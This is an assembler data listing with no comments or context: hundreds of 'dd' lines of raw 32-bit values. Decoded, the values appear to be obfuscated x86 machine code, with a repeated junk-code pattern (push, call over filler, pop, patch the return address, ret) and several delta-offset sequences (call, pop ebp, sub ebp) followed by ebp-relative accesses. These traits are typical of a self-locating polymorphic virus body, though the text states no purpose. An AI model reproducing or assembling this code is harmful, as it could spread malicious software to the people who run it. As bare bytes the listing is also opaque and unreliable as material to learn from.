		dd 0C3504000h, 7BBEFAC4h, 6F52B4FBh, 15BD318Bh,	0EB064817h
		dd 4, 5E900h, 0B5A30000h, 66A17E19h, 880FF08Bh,	3, 8DFB8B66h
		dd 48125585h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 35DFEF0Fh, 665024EBh, 89284BBEh
		dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0C304D6C3h, 0FE7ECC95h, 9D31A18Eh, 6481259h
		dd 6AF5006Ah, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 0BF3487B6h, 7D6CA03Ch, 13E82666h
		dd 0
		dd 0C6533CC0h, 1FCAEDC7h, 4E51AFB0h, 0CEF2EB7Bh, 665E6A45h
		dd 0D5FDE81h, 55A858Dh,	6A064Ch, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0DF317C3h, 0F9BD8B52h
		dd 5E064809h, 0AD5BD8Bh, 0C0830648h, 0DDBD2B05h, 9006480Fh
		dd 50FE8B66h, 87A390BEh, 0B5039070h, 6481A49h, 0BD03006Ah
		dd 64815E5h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 95FFDEC3h, 6482B2Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 4FC35343h, 0EE819A22h
		dd 35AB68F0h, 99389D8Dh, 6A064Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 2B5778C3h, 0FD3FFC3h
		dd 85FFFEB7h, 6481AD1h,	0CE9h, 78FDAC00h, 97565687h, 1261552Eh
		dd 0E95E52D2h, 7A5h, 0E8h, 0ED815D00h, 64C0564h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 32C35343h, 818161C2h
		dd 48082DBDh, 7D006h, 49860F00h, 6A000001h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 475EC357h
		dd 4A77A647h, 9D8B9E63h, 64812C5h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 68C35545h, 0B589AF46h, 6482B55h
		dd 100E381h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 863F5CC3h, 4DBD3A63h, 0BD8B56FBh
		dd 6480085h, 850FDB0Bh,	6Fh, 83FFB70Fh,	4C03C0BDh, 840F0006h
		dd 33h,	6BD1DE81h, 64E927D7h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 7F12C355h
		dd 0C9AF7855h, 0E98D891Ch, 0C7064808h, 4C03C085h, 106h
		dd 2820F00h, 57000000h,	3810F5Fh, 0F000000h, 1CE9F8BFh
		dd 0F000000h, 682h, 69C78100h, 0C70814EBh, 4C03C085h, 6
		dd 41853100h, 8D064827h, 4812C59Dh, 559D2906h, 81064811h
		dd 0FFFEFF23h, 52006AFFh, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 0BFEA742Bh, 2CE40DCBh
		dd 0BD8B6052h, 6482B35h, 890Fh,	5F610000h, 6ADB8C66h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 300DC356h, 25072BFBh, 3F2ED781h, 0C3F61253h,	7B840F04h
		dd 0F000000h, 1185h, 6E800h, 0C7DF0000h, 3DCADBBCh, 0AF5F77BFh
		dd 95FF5F23h, 64828F1h,	14E8h, 4561DE00h, 303BE573h, 6D7D9D99h
		dd 0FDD4C707h, 26C37F10h, 0D1BD8B35h, 5F06482Eh, 0CE95250h
		dd 61000000h, 0D5DC642Ch, 0E81A00A8h, 5EC63317h, 6A240489h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 9699C351h, 0D032138Fh, 1AC5BD01h,	72E90648h
		dd 6A000003h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0D197C350h, 0B58981B0h, 648168Dh
		dd 6A00B0h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0A09BCAC3h, 2D858995h, 0E6064833h, 52006A70h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0E7816817h, 73AB23CFh, 0B60F71E4h, 31B58BD8h, 0BA06480Fh
		dd 6, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h, 15h
		dd 82C35040h, 0AE98Bh, 7260000h, 6C7DC276h, 43AA2A48h
		dd 17C5B58Bh, 0C38B0648h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0EC35545h, 24635815h,	8560FC4Dh, 6A04E8C1h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 11C4C352h, 0B58BAEECh, 648312Dh, 29E2F766h
		dd 48229595h, 6AD82B06h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0CD2CC353h,	28179745h
		dd 8B6050E0h, 48141195h, 89BD8B06h, 61064831h, 5F52935Fh
		dd 0FFF59350h, 48082DB5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0AAEDA701h
		dd 95FF672Ch, 648092Dh,	8D0900B0h, 6480941h, 6A70E6h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 816660C3h, 8133ADEFh, 22DEC6EEh, 0E971E40Eh,	9, 499ADAh
		dd 48CFB635h, 0F613CB7h, 1B883h, 0FF18B00h, 6AD8B6h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0EBB6C9C3h, 8B4B4A6Fh, 482331B5h, 6BA06h, 8BF50000h
		dd 0EF8166C3h, 0E8C110A1h, 14E904h, 0DDFE0000h,	6A1C695h
		dd 9091DEBFh, 1AC7EDB2h, 0AC5D1605h, 0F766EF93h, 52006AE2h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0DC8E93BDh, 99D68167h, 8B16F871h, 480A09B5h,	6AD82B06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 4669C351h, 6AC5845Eh, 0E991715Ch,	11h, 9AF8C881h
		dd 0F008036Fh, 7A39BAF9h, 8DFA4DE2h, 35BD8B9Ah,	5806480Ch
		dd 0BE9h, 142ACA00h, 5ABC386Dh,	0E80BBA83h, 880FD82Bh
		dd 0D9h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	1BC35545h, 9AB79EF2h, 890F58C4h, 0
		dd 7B9h, 0C18300h, 860FD93Bh, 0A1h, 2865BD8Bh, 8C660648h
		dd 0E8D0FD9h, 0E9000000h, 9, 0DDC30CABh, 11EE3548h, 4C1F6D6h
		dd 76840Fh, 0B50B0000h,	64828A1h, 28F195FFh, 0BE90648h
		dd 1C000000h, 0E3A968D5h, 125759B5h, 0BE668DB8h, 605BCFF2h
		dd 81F98B66h, 0FF3EE2D9h, 0C32B6113h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 82C35646h, 521BD8Bh, 81660648h
		dd 3D3FECCEh, 834h, 16860Fh, 0EBBF0000h, 0E94BC089h, 11h
		dd 6860Fh, 0DF810000h, 36E568AFh, 0B70FC08Bh, 8BC38BFEh
		dd 52006AD8h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0BF418B22h, 47148E1Eh, 296585C7h, 33510648h
		dd 6650582Ah, 4B7AC681h, 89C08B5Fh, 482BD5BDh, 2DBD8106h
		dd 0D0064808h, 0F000007h, 985h,	0FA8B6600h, 82D85FFh, 0B5FF0648h
		dd 648082Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	2EC35040h, 0B5895187h, 6480949h, 2D95FF5Eh, 6A064809h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0A6FCC352h, 6A90F62Eh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0C29FC357h
		dd 0D8C2734Ch, 50609A69h, 890Fh, 59510000h, 0A19D8959h
		dd 8B06480Eh, 4810E1BDh, 0FE96106h, 0B8000000h,	93D35825h
		dd 6948C144h, 2FDD286Ah, 8E90D77h, 0CC000000h, 59CBB35Ch
		dd 6A86BD9Dh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0CB65C352h, 3B535FBBh,	0CD9D01D6h
		dd 106482Fh, 483105B5h,	57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 807E96D6h, 84824C63h
		dd 12E9E9h, 2230000h, 0C30E0EF3h, 0EC9A8FA7h, 0FD0DC669h
		dd 4F2D44AFh, 6AF78B66h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 8BB8C350h, 48046DB5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 5B3892CEh, 6056EB91h, 6773BB66h,	2B358D8Bh
		dd 8B660648h, 880F61F2h, 6, 29259589h, 0E95E0648h, 0FFFFF880h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 49C35646h
		dd 8344C586h, 0C33A21BEh, 6AC18B7Fh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 952FC350h
		dd 9E960h, 0D3370000h, 0EB6F3260h, 8981CE76h, 482F119Dh
		dd 4EB6106h, 0
		dd 40CBF66h, 53006AF5h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 55858DC9h, 0BE064812h, 7DDC3819h
		dd 6A905090h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 463EC350h, 0C8C87195h,	6ACA6649h
		dd 0F6B70F00h, 589BD8Bh, 6A0648h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0BC35747h, 8B1CD89Fh, 480065BDh
		dd 33F8BE06h, 858D57D3h, 64C0F1Ah, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 2EC35242h, 8F5CE829h, 0F8F0FF9h
		dd 68Ch, 11858900h, 8306480Bh, 0BD3305C0h, 6480099h, 50535790h
		dd 5A310F52h, 505F5F58h, 0FE8h,	3DAE4E00h, 0EE194587h
		dd 0EC2813ADh, 29622717h, 0E4B5BE66h, 6A905Eh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0F38B56C3h, 6A006Ah,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 816626C3h, 6AFAFCF7h, 0DE800h, 65710000h
		dd 80BCDE50h, 1FC1E531h, 5E2AD321h, 2B2D95FFh, 6A0648h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 782AC6C3h, 982E301Ah, 5E98DADh, 47000000h, 413F4D39h
		dd 18158D29h, 9D8D0648h, 64B9938h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 58C35242h, 269BC0B5h, 1F8E149Dh
		dd 66D3FFD4h, 66232CBEh, 0FF0332BEh, 481AD185h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 8DB58BB1h, 0E9064800h, 8DFh,	0E8h, 0ED815D00h, 64C0F24h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 36C35545h
		dd 82DBD81h, 7D00648h, 860F0000h, 17Ch,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 17h, 0DDC35242h, 0F3C9D7Eh
		dd 18Ch, 9D8BFC00h, 64812F5h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0D7C35040h,	63AB7962h, 4880F09h
		dd 66000000h, 812EC1BEh, 100E3h, 8E68100h, 0B6A679Ch, 0AB850FDBh
		dd 29000000h, 481681B5h, 3BBD8306h, 64C0Dh, 3B840Fh, 0B5890000h
		dd 6480AD5h, 0C1E9h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 7222373Dh, 64D3630h, 1B58BD3h
		dd 3306480Fh, 482911BDh, 3B85C706h, 1064C0Dh, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0B545C357h, 9F1F3FABh, 0E9FC218Ch, 5Eh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 6FC35646h, 77169F29h
		dd 71D517BAh, 0FF08B66h, 85C7F3BFh, 64C0D3Bh, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0A2C35343h
		dd 9209E79Eh, 0C80AE239h, 781BD31h, 9D8D0648h, 64812F5h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 1C35343h
		dd 0F45F4698h, 0FEFF2381h, 0BD29FFFFh, 64815C5h, 6ADB8C66h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 3164C356h, 4804859Dh, 0BD296006h,	64816FDh
		dd 68E0Fh, 858B0000h, 6480F21h,	4C3F661h, 40840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 8B5B1AC3h, 482839B5h, 0F195FF06h, 29064828h,	48102D95h
		dd 2DBF9006h, 5032E35Fh, 90FA8B66h, 1B01B589h, 32E90648h
		dd 0F000004h, 1380h, 0EE900h, 5A660000h, 451232F5h, 98F245A6h
		dd 0E6C3BF61h, 6A00B0h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 425ECC3h, 2189D248h, 70E6B295h
		dd 0BC1BD23h, 71E40648h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0F3C35545h, 688BAB01h, 0CFA4840Fh, 0D8B60FD6h
		dd 0D998589h, 6BA0648h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0BB88C352h
		dd 54D3EBFAh, 8A3FB00Fh, 870FC38Bh, 0
		dd 8B04E8C1h, 94DF81F0h, 66424067h, 6AE2F7h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 0C8F836C3h
		dd 2B568B19h, 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 6840F99h,	60000000h, 6160A5B3h, 52505061h
		dd 0B860Fh, 5E80000h, 7F000000h, 85D7E423h, 0F310F5Eh
		dd 1986h, 14E900h, 8F7E0000h, 6E87006Bh, 7EAD9B1Dh, 0D329BBEDh
		dd 90CBDC12h, 585A4D6Ch, 6A241C89h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 678C351h
		dd 0A1506E10h, 10E968h,	0AC140000h, 0BC5EEEF8h,	0B76EE00h
		dd 544F9084h, 0B5FF65EBh, 648082Dh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0B4C35343h,	0E15118h, 35B58B5Dh
		dd 0E906481Ch, 11h, 0A4240CFEh,	80345AEFh, 6A907979h, 0BAD76379h
		dd 2D95FF77h, 0B0064809h, 0E9853100h, 66064804h, 384ED681h
		dd 0BF0F70E6h, 6A71E4FEh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0F13FC356h,	75DBDDBCh
		dd 0B58981F8h, 6481235h, 6880Fh, 8D890000h, 6481825h, 830F613Ch
		dd 225h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 15h,	8FC35040h, 51BD8BE6h, 0F064830h, 0EF81D8B6h, 5B57D125h
		dd 6BAh, 0F18B6600h, 2BD58D89h,	0C38B0648h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 67C35343h, 8B04E8C1h
		dd 4829D5B5h, 0E2F76606h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 3AC35242h, 0FADD264h,	0B76065F3h, 68B0FC0h
		dd 0F000000h, 8Dh, 0D82B6100h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 89C35646h, 5D6B2A6Bh, 0F248A4AFh
		dd 3105B589h, 0BD230648h, 6481231h, 0DDB50958h,	2B064821h
		dd 4E880FD8h, 6A000001h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 1CADC350h, 7B9A6FAh
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0DEACC353h, 83E35760h,	8B6000C1h
		dd 48274185h, 0C0BF0F06h, 0FD93B61h, 0F486h, 0B5B53300h
		dd 0F064816h, 8C66F1BFh, 53006AD9h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 0DA0BDC52h, 35DB9D57h
		dd 0C1F6751Fh, 0AC840F04h, 3000000h, 48170DBDh,	0F195FF06h
		dd 5B064828h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ch,	0D5C35242h, 4CFCD986h, 82D57EE5h, 6AC32Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 60DEF1C3h, 68B0Fh, 958B0000h, 6481EF5h, 8343D61h, 860F0000h
		dd 43h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h
		dd 4C35545h, 0A8D0Fh, 0B2600000h, 318D8B48h, 61064809h
		dd 6800Fh, 0B58B0000h, 6480D91h, 14E9h,	0E5B58B00h, 8B06480Bh
		dd 29B523C0h, 8106481Ah, 1DDEA0F6h, 8BC38B2Fh, 53006AD8h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 897FE40Bh, 480CE5B5h, 0C585C706h, 51064812h,	6A73D469h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 59D9C352h, 2A3D8509h, 0C08B0648h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0DDC35343h, 60D167h
		dd 0BD8164A2h, 648082Dh, 7D0h, 52850Fh,	6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 8D5B44C3h, 9BBDD071h, 9BD890Dh, 0FF064800h, 48082D85h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0AF45552Ah, 0FF60B6DCh, 82DB5FFh, 6A0648h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0BFCFEC3h, 3A4243BAh, 66F2BF0Fh, 0FF6777BFh,	48092D95h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 5CC606C6h, 81B52B0Dh, 31064830h,	480F9DBDh
		dd 6A9006h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0FE2F2EC3h, 22EDEFCDh, 0F8F28BC0h, 0F78B6650h
		dd 52006A5Eh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0F7E3C7Dh, 684h,	1B58B00h, 60064814h, 6B9958Bh
		dd 9D8B0648h, 6483131h,	107DBD89h, 66610648h, 6ADDC4BEh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 7CCDC352h, 6CCF1AB1h, 13E8h, 55AF7400h, 60D22968h
		dd 0C3AC2D3Bh, 0CFA88A3Dh, 5849C28Ah, 219D8B60h, 6606482Fh
		dd 7DB0C78Bh, 860F5F61h, 0
		dd 1515BD8Bh, 0E4BE0648h, 0B3F8F13h, 4816D9BDh,	6E906h
		dd 83BF0000h, 940A6609h, 0F0B70F52h, 5FF28B66h,	0C830Fh
		dd 0BE660000h, 8E0F2891h, 2, 6A6160h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 45E902C3h
		dd 6AFFFFF7h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0C83AC353h, 1BD8BCBh, 8B064809h
		dd 53006AC1h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 0D2E5F8C9h, 4EBh, 0BD8B0000h, 6481C35h
		dd 81BD8B51h, 5E064812h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 18h, 54C35343h, 0E728448Ch, 9F0CCF81h, 858D1E30h
		dd 6481255h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	9DC35141h, 35A3C79h, 89AE7FC5h,	4806B185h, 7E906h
		dd 0F7130000h, 0D62C0B5Eh, 6056906Ch, 5E619EB5h, 9E96050h
		dd 50000000h, 0F87EBE87h, 0B5BDB240h, 0EE9h, 1C31F900h
		dd 60EE825Eh, 6AE72947h, 61375BE6h, 51006A90h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0B72A3F10h
		dd 6636AB86h, 8A0F8869h, 3, 6AF28B66h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
		dd 0E9534BA7h, 0Ch, 7475FF9Bh, 0B1867D4Ch, 5A5EE4FCh, 60006A5Fh
		dd 668AD180h, 36DFC181h, 46858D61h, 0F5064C1Ah,	0BE05C083h
		dd 898B87Bh, 4830F90h, 66000000h, 509C70BFh, 90F18B66h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 2C35646h
		dd 2F7C780h, 0C33C57Fh,	6AF9BF0Fh, 15B58900h, 6A06480Dh
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0C59D89FAh, 8B06482Eh, 480D4DBDh, 2D95FF06h
		dd 6A06482Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 3471C355h, 0C4190BF1h,	0F98B9E91h
		dd 13718589h, 95090648h, 6481475h, 99389D8Dh, 9531064Bh
		dd 648276Dh, 2EE9B58Bh,	0D3FF0648h, 44DE8166h, 0D185FF29h
		dd 6A06481Ah, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 43B8C355h, 1A2C4FF8h, 6050D47Ch
		dd 491B533h, 0EE90648h,	65000000h, 52FFC2D8h, 54C84DB8h
		dd 88A170A2h, 8E961E1h,	0EE000000h, 0CEE0F697h,	0E9226ACBh
		dd 7FFh, 0E8h, 0ED815D00h, 64C1A50h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0BBC35646h,	9ECAC265h, 5FFC511Fh
		dd 2DBD81F8h, 0D0064808h, 0F000007h, 10F86h, 6E900h, 0E3970000h
		dd 0CF53730Bh, 30799D8Bh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 2E8969C3h, 906F9157h
		dd 81FEDA40h, 100E3h, 0B59D8900h, 0B064807h, 7C850FDBh
		dd 0F000000h, 1481h, 0FE900h, 17990000h, 0FD322EAAh, 0AF0472AEh
		dd 878C6525h, 21BD83BAh, 64C18h, 10840Fh, 81660000h, 0E90D2DC7h
		dd 59h,	0A11B58Bh, 85C70648h, 64C1821h,	1, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 17C35646h, 8D89FEC3h
		dd 6481379h, 8A9BD8Bh, 1AE90648h, 0F000000h, 68Ah, 0FDBD8900h
		dd 0C7064802h, 4C182185h, 6, 9EBF6600h,	799D8D1Ch, 0E9064830h
		dd 13h,	8DC7A697h, 0F6A4CDA5h, 18135DC7h, 3CA96B66h, 66ECBCEAh
		dd 2381F28Bh, 0FFFFFEFFh, 0AE856h, 78C0000h, 0E38ED0CCh
		dd 34164AF0h, 5F5FF88Bh, 0E9DB8C66h, 5,	9161F2E4h, 4C3F6B1h
		dd 87840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0C929E1C3h, 0BE93EDC6h, 0B58BA152h
		dd 64809ADh, 28F195FFh,	5F520648h, 0DE86050h, 19000000h
		dd 85671DBh, 0D882984Dh, 0EECB6229h, 505FC18Bh,	0F525052h
		dd 0F585A31h, 5E931h, 4D0000h, 5AF53509h, 4896158h, 50006A24h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 0E04C296Ah, 1BFC6EC4h, 3E9E97Ch, 0FE90000h, 7B000000h
		dd 7B0DAC17h, 1E4E0A60h, 0AC5A3765h, 0B0FB46h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 6DC35040h, 0E6033E93h
		dd 6DBD8B70h, 8106482Eh, 0EA1226C7h, 6A71E41Ah,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0A377C356h, 0CF81FB92h, 5563BF3h, 6AD8B60Fh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 8C0DC353h, 6BABDAFh,	8B000000h, 480B29BDh, 89C38B06h
		dd 4819E985h, 4E8C106h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0F1C35343h, 0BE8h, 15306700h,	0DC521BEAh
		dd 9D57DA0Bh, 665EF28Bh, 6AE2F7h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 895C3BC3h, 48271995h
		dd 6AD82B06h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 3699C352h, 4F20B774h, 800F43E4h
		dd 6, 870Fh, 66930000h,	6050FB8Bh, 7158DBAh, 6A93616Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 8EB3C355h, 0B533E13Ch, 648053Dh, 2DB5FFF8h
		dd 6A064808h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0F9BCC357h, 3A336AEh, 0B58B985Ch
		dd 6480661h, 92D95FFh, 0F9570648h, 6A00B05Fh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0BD6AC353h, 0F93D43Dh, 70E6F0BFh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 88C35141h, 89513312h, 480831B5h
		dd 71E45E06h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 19h,	0CC35141h, 5CBA9A35h, 0B1BD8B21h, 3C064806h, 0D8830F61h
		dd 0F000001h, 9D89D8B6h, 6482AD5h, 6BAh, 99B58900h, 8B064822h
		dd 0F38B66C3h, 8B04E8C1h, 481B51B5h, 21B52306h,	66064805h
		dd 8D89E2F7h, 6480BC1h,	6AD82Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 518B92C3h, 0A1E5D192h
		dd 10E86Bh, 0EEF20000h,	1F250990h, 0AFB65525h, 38BEB907h
		dd 0BD89EDF7h, 648146Dh, 0D82B585Eh, 15D880Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 1EC628C3h, 7B96Dh, 0D7810000h, 704C4BC2h, 6A00C183h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 30FCC350h, 0BD29F350h, 64812F9h, 860FD93Bh
		dd 103h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 15h,	0D8C35040h, 0E681668Ch,	3152154Eh, 480CCDBDh, 8C665E06h
		dd 65BD89D9h, 0F606481Ch, 840F04C1h, 0A2h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 58C35242h, 0B9D08DA8h
		dd 0F070EBC1h
		dd 28F195FFh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 407949C3h, 89699DEDh, 48161DB5h
		dd 0BE85B06h, 98000000h, 3F778165h, 3C24A44Bh, 0F38B9F57h
		dd 66C32B5Eh, 0B5F2F781h, 8343Dh, 2B860F00h, 8B000000h
		dd 49E9F3h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0CAE3C8C3h, 0EFD8E835h, 0C08B008Eh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 2CC35747h
		dd 0D99D894Eh, 8B06481Ch, 6AD88BC3h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 40B4C352h
		dd 8D09359Eh, 6480ECDh,	14C98D89h, 85C70648h, 64812F5h
		dd 362E4F13h, 49B58960h, 89064827h, 48032995h, 0C08B6106h
